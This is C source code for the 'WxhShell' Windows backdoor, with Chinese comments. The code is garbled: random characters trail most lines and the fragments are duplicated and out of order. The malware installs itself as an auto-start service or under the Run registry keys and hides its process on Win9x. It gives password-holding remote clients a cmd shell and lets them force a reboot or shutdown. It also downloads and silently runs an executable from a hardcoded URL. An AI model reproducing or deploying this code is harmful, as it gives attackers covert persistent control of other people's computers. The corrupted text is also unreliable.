    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'SmdU1]4BD  
    else { 5 Jhl4p}w  
    closesocket(wsh); /Q!F/HY3ZS  
    ExitThread(0); PewLg<?,G4  
    } IjNm/${$  
    break; W5p}oN  
    } =EKJ!{  
  // 获取shell DQ)SMqOotw  
  case 's': { c nzPq\  
    CmdShell(wsh); oC [g  
    closesocket(wsh); u2t<auE9^  
    ExitThread(0); R|suBF3  
    break; jhLh~. 8  
  } D&shrKFx  
  // 退出 luMNi^FQ  
  case 'x': { VxCH}&!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9c6=[3)V  
    CloseIt(wsh); ,J|};s+  
    break; AOe~VW  
    } f As:[  
  // 离开 ^{w&&+#,q  
  case 'q': { MPt7 /  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p,Z6/e[SI  
    closesocket(wsh); so7;h$h!H  
    WSACleanup(); ld $`5!Z  
    exit(1); URAipLvN  
    break; ^6*? a9jO>  
        } CqoL5qt  
  } J.<m@\U  
  } j- A|\:   
f_7p.H6\  
  // 提示信息 `&_qK~&/X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 073(xAkL{  
} x\jHk}Buj  
  } [V2l&ZUni  
8<^,<?  
  return; r (uM$R$o  
} Pc3u`QL?  
2C-u2;X2  
// shell模块句柄 d^w_rL  
int CmdShell(SOCKET sock) BWs\'B  
{ rLwc=(|  
STARTUPINFO si; ; H3kb +  
ZeroMemory(&si,sizeof(si)); #'T|,xIr-Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /$n${M5!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;[xDc>&("Q  
PROCESS_INFORMATION ProcessInfo; )"1D-Bc\Q  
char cmdline[]="cmd"; <ygO?m{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "CaVT7L  
  return 0; pQp}HD!-  
} |"mb 59X  
RwwKPE  
// 自身启动模式 T.pPQH__  
int StartFromService(void) uk1IT4+  
{ C.@zVt  
typedef struct lY1m%  
{ oqj3Q 1  
  DWORD ExitStatus; $*PyzLS  
  DWORD PebBaseAddress; =y':VIVJC  
  DWORD AffinityMask; 68y.yX[  
  DWORD BasePriority; =3"Nn4Z  
  ULONG UniqueProcessId; pK3cg|}  
  ULONG InheritedFromUniqueProcessId; DGU$3w  
}   PROCESS_BASIC_INFORMATION; '~@WJKk  
yqK82z5U*R  
PROCNTQSIP NtQueryInformationProcess; p])km%zB(  
'1w<<?vX?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u&qdrKx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \z_@.Jw{  
>$?Z&7Lv  
  HANDLE             hProcess; L+,{*Uj[;  
  PROCESS_BASIC_INFORMATION pbi; J ^v_VZ3  
iz'8P-]K>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dI>oHMC  
  if(NULL == hInst ) return 0; k @ Hu0x  
&8;mcM//4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wy^>i$TC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j'7FTVmJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6wF ?FtT  
8\yH 7H  
  if (!NtQueryInformationProcess) return 0; #*9*[Xbi  
K9*K4'#R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kg.E~  
  if(!hProcess) return 0; JK1b 68n  
I[&!\Me[+w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t*DM^. @  
F/!C=nS  
  CloseHandle(hProcess); ht1 jrCe  
U'\\(m|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =3}+f-6"'  
if(hProcess==NULL) return 0; Dk4Wj"LS  
ZK13[_@9  
HMODULE hMod; Z?GC+hG`  
char procName[255]; aqMZ%~7  
unsigned long cbNeeded; {ng  
Jjy}m0)#W_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^=tyf&"  
6sPd")%G  
  CloseHandle(hProcess); S4|)N,#  
-F*j`  
if(strstr(procName,"services")) return 1; // 以服务启动 5B51^"  
>V]> h&`  
  return 0; // 注册表启动 nZ{~@E2  
} MM97$  
v!x=fjr<  
// 主模块 o$Jk2 7  
int StartWxhshell(LPSTR lpCmdLine) im&| H-  
{ M0^r!f>O  
  SOCKET wsl; 0]"j,  
BOOL val=TRUE; ,@P3!|  
  int port=0; ] 03!K E  
  struct sockaddr_in door; >_5D`^  
F~{ 4)`  
  if(wscfg.ws_autoins) Install(); &;y(@e }D  
_]<]:b  
port=atoi(lpCmdLine); LIR2B"3F  
.M_;mhRI  
if(port<=0) port=wscfg.ws_port; ~zuMX ;[  
&Zf@vD  
  WSADATA data; ^@6eN]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s6qe5[  
}#Vo XilX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "e_ED*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v+\E%H  
  door.sin_family = AF_INET; 7$^V_{ej  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N%^mR>.`  
  door.sin_port = htons(port); ?"L>jr(  
9 /9,[A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tp9LBF  
closesocket(wsl); B[k"xs  
return 1; D$j`+`  
} T *$uc,  
%D&FnTa  
  if(listen(wsl,2) == INVALID_SOCKET) { #Uudx~b  
closesocket(wsl); l]%|w]i\  
return 1; //WgK{Mt  
} |o+vpy  
  Wxhshell(wsl); mhcJ0\@_  
  WSACleanup(); eqLETo@} *  
ntjUnd&v\  
return 0; +[cm  
oiklRf  
} K<V(h#(.@  
F2XXvxG  
// 以NT服务方式启动 iA%3cpIc(Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -,Q<*)q{  
{ YpuA,r;"  
DWORD   status = 0; PZ"xW0"-  
  DWORD   specificError = 0xfffffff; Muarryh}  
$i =-A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &jj\-;=~Ho  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f(9w FT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h>\}-|Ek  
  serviceStatus.dwWin32ExitCode     = 0; !FO92 P16  
  serviceStatus.dwServiceSpecificExitCode = 0; 0w OgQ n  
  serviceStatus.dwCheckPoint       = 0; dso\+s  
  serviceStatus.dwWaitHint       = 0; zO!`sPP  
A]R"C:o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BL]^+KnP  
  if (hServiceStatusHandle==0) return; S?D2`b  
^%\p; yhL  
status = GetLastError(); RI%* 5lM8;  
  if (status!=NO_ERROR) P~?u2,.E[  
{ #ReW#?P%b/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =r GkM.^  
    serviceStatus.dwCheckPoint       = 0; (L~3nN;rr  
    serviceStatus.dwWaitHint       = 0; NeNKOW#X  
    serviceStatus.dwWin32ExitCode     = status; X_=oJi|:  
    serviceStatus.dwServiceSpecificExitCode = specificError; +[z(N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jP+4'O!s[  
    return; ;&[0 h)  
  } "b2Mk-qP  
ytJ |jgp'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ==IL63  
  serviceStatus.dwCheckPoint       = 0; =lVfrna  
  serviceStatus.dwWaitHint       = 0; b cOX/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rPQ$e!m1Ee  
} F@?QVdY1q7  
+ J_W}G  
// 处理NT服务事件,比如:启动、停止 ]ImS@!Ajjx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F*Qw%  
{ 5ptbz<Xv  
switch(fdwControl) {5*+  
{ `5x,N%9{  
case SERVICE_CONTROL_STOP: -'ZP_$sA  
  serviceStatus.dwWin32ExitCode = 0; |QHWX^pO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q,jlKgB 5:  
  serviceStatus.dwCheckPoint   = 0; w$2-t  
  serviceStatus.dwWaitHint     = 0; \2~.r/`1  
  { 's*UU:R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4u:{PN  
  } SqEO ] ~  
  return; c-gaK\u}j}  
case SERVICE_CONTROL_PAUSE: ^B5Hjf9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QAX+oy  
  break; 1)k))w9  
case SERVICE_CONTROL_CONTINUE: G|H\(3hHLZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y/{Z`}  
  break; 6#dx%TC  
case SERVICE_CONTROL_INTERROGATE: .}j@(D  
  break; \QHM7C T  
}; jQf1h|e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \*_qP*vq@  
} sba0Q[IY  
+y-:(aP  
// 标准应用程序主函数 -[+FVvS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z#\ \NfR  
{ # VR}6Jv  
`GH6$\:  
// 获取操作系统版本 ncihc$V<  
OsIsNt=GetOsVer(); >o(*jZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CuDU~)`  
SR8[ 7MU  
  // 从命令行安装 F[ 9IHT6{  
  if(strpbrk(lpCmdLine,"iI")) Install(); SUx\qz)  
*6k (xL  
  // 下载执行文件 c?wFEADn  
if(wscfg.ws_downexe) { =L&_6lb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [;};qQ-C2  
  WinExec(wscfg.ws_filenam,SW_HIDE); l1YyZ^Z  
} BhNwC[G?m  
LG51e7_gFi  
if(!OsIsNt) { n) `4*d$`  
// 如果时win9x,隐藏进程并且设置为注册表启动 6s>PZh  
HideProc(); Qza[~6  
StartWxhshell(lpCmdLine); 8B\,*JGY2  
} 3):7mE(  
else I8?egDkk  
  if(StartFromService()) 6:QJ@j\  
  // 以服务方式启动 GY0<\-  
  StartServiceCtrlDispatcher(DispatchTable); r?H {Y3 ,  
else HaLEQ73  
  // 普通方式启动 #r0A<+t{T  
  StartWxhshell(lpCmdLine); _pk=IHGsB  
,![C8il,  
return 0; +)ro EJ_  
} Xa%Z0% {  
hydn" 9;  
#Etz}:%W  
c[ =9Z;|  
=========================================== r`6XF  
e3',? 5j  
"BEU%,w  
C%G-Ye|@  
[<OMv9(l'o  
}8 ,b; Q  
" !'n+0  
Qg1LT8  
#include <stdio.h> cj5p I?@e)  
#include <string.h> :qw:)i  
#include <windows.h> \b~zyt6-  
#include <winsock2.h> - !7QH'  
#include <winsvc.h> VSM%<-iQ  
#include <urlmon.h> YIjBKh  
c9DX  
#pragma comment (lib, "Ws2_32.lib") 6V!yfps)  
#pragma comment (lib, "urlmon.lib") E&]S No<  
LP.-  
#define MAX_USER   100 // 最大客户端连接数 =]"[?a >  
#define BUF_SOCK   200 // sock buffer *:)#'cenI  
#define KEY_BUFF   255 // 输入 buffer gl00$}C  
`5h$@  
#define REBOOT     0   // 重启 `s@1'IG;R_  
#define SHUTDOWN   1   // 关机 qAkx52v6  
_es>G'S  
#define DEF_PORT   5000 // 监听端口 |A &Nv~.)  
YW>|gE  
#define REG_LEN     16   // 注册表键长度 4dl?US[-  
#define SVC_LEN     80   // NT服务名长度 J6\<>5 A?  
B>-Iv _  
// 从dll定义API {hVSVx8ZL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <9B43  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vs m06Rj{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bm(0raugs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @$Z5A g!  
b abDLaC@  
// wxhshell配置信息 ?T?%x(]I  
struct WSCFG { Xdw%Hw  
  int ws_port;         // 监听端口 YjLPW@  
  char ws_passstr[REG_LEN]; // 口令 ^> ZQ:xs@(  
  int ws_autoins;       // 安装标记, 1=yes 0=no IRXpk 6|  
  char ws_regname[REG_LEN]; // 注册表键名 (z+[4l7  
  char ws_svcname[REG_LEN]; // 服务名 oM QH- \(}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y`\zLX"_m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NIQa{R/H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H=7dp%b"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z_r W1?|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %k1*&2"1#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C$M^<z  
:P;#Y7}Y$  
}; 21G] d  
W:hR8 1ci  
// default Wxhshell configuration E$*I.i_m  
struct WSCFG wscfg={DEF_PORT, TY~0UU$  
    "xuhuanlingzhe", %%kl R{  
    1, G2rxr  
    "Wxhshell", SO8Ej)m  
    "Wxhshell", )` '  
            "WxhShell Service", EtN"K-X  
    "Wrsky Windows CmdShell Service", o]PSyVg  
    "Please Input Your Password: ", Nf1) 5  
  1, }evc]?1(  
  "http://www.wrsky.com/wxhshell.exe", In:h%4>  
  "Wxhshell.exe" $kkdB,y  
    }; F1gDeLmJ  
wf<uG|90  
// 消息定义模块 {I`B?6K5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Iu%/~FgPj{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ApjLY58=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X!nI{PE  
char *msg_ws_ext="\n\rExit."; g)xzy^2e  
char *msg_ws_end="\n\rQuit."; Y==# yNwM  
char *msg_ws_boot="\n\rReboot..."; SAly~(r?/  
char *msg_ws_poff="\n\rShutdown..."; I-&/]<5y  
char *msg_ws_down="\n\rSave to "; Lp1wA*  
RhX 2qsva-  
char *msg_ws_err="\n\rErr!"; TDy@Y> )  
char *msg_ws_ok="\n\rOK!"; li,kW`j+t  
eAm7*2  
char ExeFile[MAX_PATH]; &Lk@Xq1  
int nUser = 0; Sg')w1  
HANDLE handles[MAX_USER]; [uZU p*.V  
int OsIsNt; />.&  
7u o4F= %  
SERVICE_STATUS       serviceStatus; st/Tb/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f}nGWV%,  
(;C_>EL&u  
// 函数声明 \MK)dj5uUJ  
int Install(void); .#rI9op  
int Uninstall(void); /O/u5P{J  
int DownloadFile(char *sURL, SOCKET wsh); z}OY'}sk8  
int Boot(int flag); &!KJrQ  
void HideProc(void); Wb/@~!+i`  
int GetOsVer(void); rx|/]NE;  
int Wxhshell(SOCKET wsl); JnV$)EYi  
void TalkWithClient(void *cs); ",Ek| z  
int CmdShell(SOCKET sock);  //K]zu  
int StartFromService(void); !Z<Z"R/  
int StartWxhshell(LPSTR lpCmdLine); sfa T`q  
~O |j*T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tJ2l_M^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 69O?sIk  
<$,i Yx   
// 数据结构和表定义 8t9sdqM/C  
SERVICE_TABLE_ENTRY DispatchTable[] = \`|,wLgH  
{ r(%#@?&  
{wscfg.ws_svcname, NTServiceMain}, ax7u b  
{NULL, NULL} ft:/-$&H  
}; WNlWigwYl  
ls 'QfJm  
// 自我安装 C @hnT<e  
int Install(void) 6Q>:g"_  
{ '00DUUa  
  char svExeFile[MAX_PATH]; ax'Dp{Q  
  HKEY key; LTBqXh  
  strcpy(svExeFile,ExeFile); 3_vggK%  
>(:KEA  
// 如果是win9x系统,修改注册表设为自启动 tul5:}x3  
if(!OsIsNt) { 9bqfZ"6nXY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zff-Hl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4>$>XL1  
  RegCloseKey(key); %6kD^K-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j%~UU0(J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6;[iX`LL  
  RegCloseKey(key); q+|Dm<Ug  
  return 0; n3~xiQ'  
    } )x?F1/  
  } w4RP*Da?:  
} $o {f)'.>n  
else { (O /hu3  
Kgk9p`C(  
// 如果是NT以上系统,安装为系统服务 3PI{LU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |hOqz2|  
if (schSCManager!=0) 2$\Du9+  
{ Z+I[  
  SC_HANDLE schService = CreateService 'X@j  
  ( PM o>J|^  
  schSCManager, VEE:Z^U!  
  wscfg.ws_svcname, PyzW pf  
  wscfg.ws_svcdisp, 9.SPxd~  
  SERVICE_ALL_ACCESS, wjKW 3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )5'S=av9  
  SERVICE_AUTO_START, l$)pCo  
  SERVICE_ERROR_NORMAL, k NK)mE  
  svExeFile, a+r0@eFLc  
  NULL, b3y@!_'c  
  NULL, PNg,bcl  
  NULL, GS< ,adD  
  NULL,  =Lp0i9c  
  NULL ^J@Y?CQl\  
  ); wR>\5z )^  
  if (schService!=0) b`18y cVME  
  { HO & #Lv  
  CloseServiceHandle(schService); xxiEL2"`>  
  CloseServiceHandle(schSCManager); Ler9~}\D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sE-"TNONZ  
  strcat(svExeFile,wscfg.ws_svcname); {.Nt#l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w9i1ag  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z</$~ T  
  RegCloseKey(key); ]UFf-  
  return 0; 7NoB   
    } \u",bMQF  
  } 6dq5f?w]  
  CloseServiceHandle(schSCManager); A3M)yWq  
} 0m51nw~B  
} YujhpJ<  
UO>p-M  
return 1; 2Hy$SSH  
} txTDuS  
*<s|WLMG  
// 自我卸载 /38^N|/Zr  
int Uninstall(void) wArNWBM  
{ `4(k ?Pk2  
  HKEY key; -zG/@.  
"mHSbG  
if(!OsIsNt) { pkBmAJb@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a?\ Au  
  RegDeleteValue(key,wscfg.ws_regname); V4ayewVX  
  RegCloseKey(key); Gi Zy C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 70*Y4'u }A  
  RegDeleteValue(key,wscfg.ws_regname); (MwB% g  
  RegCloseKey(key); OG!^:OY  
  return 0; mhT3Fwc  
  } *jf (TIU  
} ~H)bvN^  
} NqlG=pu  
else { DkQy.  
:|N5fkhN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A4 o'EQ?~  
if (schSCManager!=0) Ko2{[%  
{ b~%(5r.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  8(5}Jo+  
  if (schService!=0) ]?b#~  
  { X;ijCZb3b  
  if(DeleteService(schService)!=0) { 5w iU4-{  
  CloseServiceHandle(schService); VT;$:>! +  
  CloseServiceHandle(schSCManager); 0alm/or  
  return 0; v34XcA  
  } v7xc01x  
  CloseServiceHandle(schService); N\<M4 fn  
  } a:v&pj+|<  
  CloseServiceHandle(schSCManager); %k5^n0|*  
} <|s|6C  
} vMj"%  
~Ci|G3BW  
return 1; F|%[s|s  
} fZT=q^26  
^Shz[=fd  
// 从指定url下载文件 @ 5|F:J  
int DownloadFile(char *sURL, SOCKET wsh) ` *h-j/M  
{ BWfsk/lej  
  HRESULT hr; D]Bvjh   
char seps[]= "/"; /< h~d  
char *token; |HhUU1!  
char *file; h6 8sQd  
char myURL[MAX_PATH]; U]d{hY."  
char myFILE[MAX_PATH]; LF{d'jJ&K  
MU%C_d%.  
strcpy(myURL,sURL); -~]*)&  
  token=strtok(myURL,seps); J=| fxR  
  while(token!=NULL) C!%BW%"R  
  { e ST8>r  
    file=token; D~U 4K-  
  token=strtok(NULL,seps); 0bS\VUB(  
  } N3 07lGb  
:74)nbS  
GetCurrentDirectory(MAX_PATH,myFILE); .KXpB7:  
strcat(myFILE, "\\"); jrZM  
strcat(myFILE, file); IbF[nQ  
  send(wsh,myFILE,strlen(myFILE),0); `=vL?w^QS  
send(wsh,"...",3,0); [|Jz s[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )TBBYCL3  
  if(hr==S_OK) O: :X$O7  
return 0; e>z3 \4  
else pDrM8)r  
return 1; bj ZcWYT  
G>d@lt  
} [#M^:Q  
bAGQ  
// 系统电源模块 7M=`Z{=9  
int Boot(int flag) 2u/~#Rt&*  
{ uiPfAPZ  
  HANDLE hToken; .@gv }`>  
  TOKEN_PRIVILEGES tkp; Y u8a8p|  
nO,<`}pV  
  if(OsIsNt) {  -*M/,O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A +e ={-*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K p ~x  
    tkp.PrivilegeCount = 1; p4*VE5[?_+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o} YFDYi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |!aMj8i2  
if(flag==REBOOT) { Jp=ur)Dj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E,>/6AU  
  return 0; O*`] ]w]  
} XjuAVNY  
else { [wj&.I{^s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5BN!uUkm+  
  return 0; ggzg, ~V  
} hwSn?bkw  
  } )apqL{u:=  
  else { -;Y*;xe  
if(flag==REBOOT) { c7[|x%~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C;-9_;&  
  return 0; 7D|g|i  
} h%8[];*DpN  
else { V<ziJ7H/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +DY% Y `0  
  return 0; %D)W~q-g  
} Ze~^+ EE  
} Rjqeuyj:  
jn&[=Y-  
return 1; yCwBZ/C  
} Nv{r`J.  
UpF,e>s  
// win9x进程隐藏模块 XkDjA#nx`  
void HideProc(void) PxhB=i!'$  
{ kXFgvIpg<  
1 `hj]@.]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /EZF5_`bT  
  if ( hKernel != NULL ) MN}@EQvW==  
  { &}_E~jKK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d OQU#5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U7bbJ>U_|  
    FreeLibrary(hKernel); m}54yo  
  } "7(2m  
iSCv/Gb:,  
return; }te\) Yk.N  
} Uf}s6#   
U3}r.9/  
// 获取操作系统版本 u]lf~EE  
int GetOsVer(void) Ghs{B8  
{ OlL FuVR  
  OSVERSIONINFO winfo; P:eY>~m<;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q"7rd?r52  
  GetVersionEx(&winfo); D(yU:^L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PHU#$LG  
  return 1; bS=aFl#  
  else ] lE6:^V  
  return 0; 0>} FNRC  
} h:\WW;s[B  
dO =fbmK  
// 客户端句柄模块 u[5*RTE  
int Wxhshell(SOCKET wsl) TcPYDAa  
{ -r)Q|U  
  SOCKET wsh; ebxpKtEC  
  struct sockaddr_in client; zy"wQPEE  
  DWORD myID; :s`~m;Y9?  
!C]0l  
  while(nUser<MAX_USER) klmRU@D  
{ %C^U?m`  
  int nSize=sizeof(client); `O4Ysk72x9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5v >0$Y{  
  if(wsh==INVALID_SOCKET) return 1; a NhI<.v  
xfZ.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FW~%xUSE5  
if(handles[nUser]==0) .aTu]i3l_  
  closesocket(wsh); iOXxxP%#  
else 1AiqB Rs  
  nUser++; 29p`G1n  
  } wQ-pIi{G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E_ #MQ;n  
2Hl0besm  
  return 0; ye !}hm=w  
} xXkP(^ Y  
JDeG@N$  
// 关闭 socket ]Y@Db5S$T  
void CloseIt(SOCKET wsh) jYE<d&Cq  
{ ,kS3Ioj  
closesocket(wsh); *Y'nDv6_P  
nUser--; D_mdX9-~  
ExitThread(0); 0wL-Ak#v  
} O1!hSu&  
,tqMMBwC~_  
// 客户端请求句柄 WxO2  
void TalkWithClient(void *cs) 0*G =~:  
{ $3.hZx>  
u By[x 0  
  SOCKET wsh=(SOCKET)cs; vU= +  
  char pwd[SVC_LEN]; l`"i'P   
  char cmd[KEY_BUFF]; K`}8fU   
char chr[1]; A9qbE  
int i,j; za$v I?ux  
#( G>J4E,  
  while (nUser < MAX_USER) { BOqu$f+  
:K J#_y\rt  
if(wscfg.ws_passstr) { sv}k_6XgY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E d6k7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e\o>(is  
  //ZeroMemory(pwd,KEY_BUFF); -36pkC 6 \  
      i=0; W%$sA}O  
  while(i<SVC_LEN) { %#7NCdk;S  
Z|l/6L8  
  // 设置超时 J4Yu|E<&  
  fd_set FdRead; }C6RgE.6<  
  struct timeval TimeOut; ]nmVT~lBe"  
  FD_ZERO(&FdRead); =Rv!c+?  
  FD_SET(wsh,&FdRead); Q)vf>LwC2S  
  TimeOut.tv_sec=8; V+04X"  
  TimeOut.tv_usec=0; vSyR% j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YS$42J_T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CG!7BP\  
'8RBR%)y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d#l z^Ls2  
  pwd=chr[0]; 6yU#;|6d  
  if(chr[0]==0xd || chr[0]==0xa) { mQ~0cwo)  
  pwd=0; v>S[} du  
  break; VR:4|_o  
  } xcf`i:\  
  i++; [22>)1<(  
    } _c:}i\8R  
G%Dhj)2}  
  // 如果是非法用户,关闭 socket p>9-Ga  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {c|{okQ;Q  
} '#Yqs/V  
O:G5n 5J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p0r:U< &  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kx3?'=0;5  
b"JJ3$D  
while(1) { uu5L9.i9  
:9c[J$R4  
  ZeroMemory(cmd,KEY_BUFF); hW~XE{<  
0 rge]w.X  
      // 自动支持客户端 telnet标准   Qg^Ga0Lf6  
  j=0; 3n ~n-Jo  
  while(j<KEY_BUFF) { Uxll<z,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O%hmGW4  
  cmd[j]=chr[0]; Qf=+%-$Y  
  if(chr[0]==0xa || chr[0]==0xd) { on0MhW  
  cmd[j]=0; r0xmDJ@y  
  break; ]; CTr0  
  } DERhmJ;>H  
  j++; V:Z}cfR.7  
    } L'A>IBrz  
1\XR6q:2  
  // 下载文件 >5%;NI5 G  
  if(strstr(cmd,"http://")) { BNj@~uC{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h! yI(cY  
  if(DownloadFile(cmd,wsh)) z+~klv 3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }4dbS ;C<  
  else 8(jUCD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7\7i-Vo  
  } gL/D| =  
  else { :b~5nftr  
wR(>' ?  
    switch(cmd[0]) { z\F#td{r  
  *IGCFZbp41  
  // 帮助 Lo{g0~?x*  
  case '?': { ORdS|y;:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a7~%( L@r  
    break; e]!`Cl-f80  
